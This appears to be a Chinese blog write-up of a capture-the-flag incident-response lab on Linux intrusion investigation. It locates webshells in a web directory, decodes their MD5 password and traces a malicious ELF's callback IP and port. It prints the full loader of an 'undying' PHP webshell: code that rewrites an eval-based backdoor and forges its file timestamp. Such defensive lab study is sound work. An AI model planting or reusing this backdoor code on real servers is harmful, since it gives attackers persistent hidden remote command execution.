应急响应类题练习——玄机第一章 应急响应- Linux入侵排查

发布于:2025-07-03 ⋅ 阅读:(31) ⋅ 点赞:(0)

第一章 应急响应- Linux入侵排查

步骤 1

web目录存在木马,请找到木马的密码提交

1.分析题目

Web目录里面重点关注目录:/var/www/html/、/tmp/(临时目录)
/var/www/html/—— 是默认存放网站网页文件(如 HTML、CSS、JavaScript 文件 )、图片、脚本等资源的地方,可以通过检查该目录下的文件,查看是否存在被篡改的网页文件,比如黑客攻击后留下的网页挂马(在正常网页文件中插入恶意代码,如 JavaScript 脚本,用于窃取用户信息或进行恶意跳转 )、网页篡改(将正常网页内容替换为非法或恶意信息 )等情况。
/tmp/——这个是临时目录,存储临时性数据(如只需访问一两次的文件),目录内容在系统重启后会清空,任何用户均可在此目录创建、修改文件,那么攻击者在获取机器访问权限后,常将脚本或工具暂存于此

2.解题
find / -name "*.php" | xargs grep "eval("

在这里插入图片描述

root@ip-10-0-10-5:/var/www/html# cat .shell.php    #查看.shell.php文件内容

在这里插入图片描述

root@ip-10-0-10-5:/var/www/html# cat index.php

在这里插入图片描述

root@ip-10-0-10-3:/var/www/html# cat 1.php

在这里插入图片描述

$_POST["pass"] 是客户端通过HTTP POST请求提交的字段,通常用作密码验证

文件中提到了POST[1], POST[pass],那么输入1或post进行尝试

得到flag flag{1}

步骤 #2

服务器疑似存在不死马,请找到不死马的密码提交

1.分析题目

“不死马” 是一种恶意的后门程序,属于网页后门(Webshell)的变种,其核心特点是具备自我修复和持续存在的能力,难以通过常规删除操作彻底清除。这类后门通常会利用服务器的文件系统权限、定时任务(如 Cron)、进程守护机制或系统漏洞,在被删除后自动重新生成,从而实现 “不死” 的效果。

2.解题
cat index.php

在这里插入图片描述

可以看到创建文件的代码

$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);

每次访问 index.php 时,会自动创建或修复 .shell.php 后门文件,并伪造文件修改时间为 2021 年 1 月 1 日,以躲避基于时间的检测。

可以关注到这个MD5码5d41402abc4b2a76b9719d911017c592

解码得到flag flag{hello}

步骤 #3

不死马是通过哪个文件生成的,请提交文件名

1.分析题目

根据步骤2,不死马在index.php文件中

2.解题

flag为 flag{index.php}

步骤 #4

黑客留下了木马文件,请找出黑客的服务器IP提交

1.分析题目

找IP的话,根据之前的做题经验,可以查看日志文件,但是这个题目输入

cat /var/log/auth.log /var/log/auth.log.1 | grep -a "index.php" | uniq -c | sort -nr

没有输出,那么问题不是出现在这里

2.解题

列出/var/www/html中的文件

root@ip-10-0-10-1:~# cd /var/www/html
root@ip-10-0-10-1:/var/www/html# ls
 1.php   admin     config.php   favicon.ico   index.php     LICENSE    README.md  'shell(1).elf'   template
 1.tar   api.php   data         include       install.php   pictures   rss.php     sitemap.php     wap

发现了一个格式很特别的文件’shell(1).elf’,.elf 文件本质是Linux可执行程序

但是直接cat文件,会出先一大串看似乱码的东西

在这里插入图片描述

了解到.elf 是 Linux 的二进制可执行文件(类似 Windows 的 .exe),其内容为 机器码,不是文本文件。

cat 命令默认按 文本格式 输出,遇到非 ASCII 字符(如编译后的代码、加密数据)时会显示乱码。

然后想到既然是获得IP,那就用netstat查看

netstat -antlp | more	##用于查看当前系统的所有网络连接、监听端口及相关进程信息,并通过 more 分页显示结果。

在这里插入图片描述

结果没有’shell(1).elf’的显示。

那么该如何查看文件呢参考了这篇文章的做法玄机——第一章 应急响应- Linux入侵排查 wp_玄机应急-CSDN博客

进行提权再进行文件操作:

chmod 777 "shell(1).elf"	#进行文件的提权

为什么是777呢?查找知道这是权限的二进制表示

数字 二进制 权限 说明
7 111 rwx 读、写、执行
6 110 rw- 读、写
5 101 r-x 读、执行
4 100 r-- 仅读
  • 三个数字分别对应:

    7(所有者) = rwx(读+写+执行)

    7(所属组) = rwx

    7(其他用户) = rwx

那么777是具备了最高可执行权限

在这里插入图片描述

然后再进行输入

./'shell(1).elf'	#表示尝试运行当前目录下名为 shell(1).elf 的可执行文件。

然后再新开一个终端窗口,进行连接,刚刚这个终端窗口无需关闭

在这里插入图片描述

再在新窗口输入

netstat -antlp | more	#用于查看当前系统的所有网络连接、监听端口及相关进程信息,并通过 more 分页显示结果。

在这里插入图片描述

然后可以查看到这个’shell(1).elf’文件的来源IP 10.11.55.21

输入flag flag{10.11.55.21} 成功

步骤 #5

黑客留下了木马文件,请找出黑客服务器开启的监端口提交

1.分析题目

提交端口数据,前文步骤#4已经通过netstat查看出了端口IP信息,那么直接输入

2.解题

flag为 flag{3333} ,成功


网站公告

今日签到

点亮在社区的每一天
去签到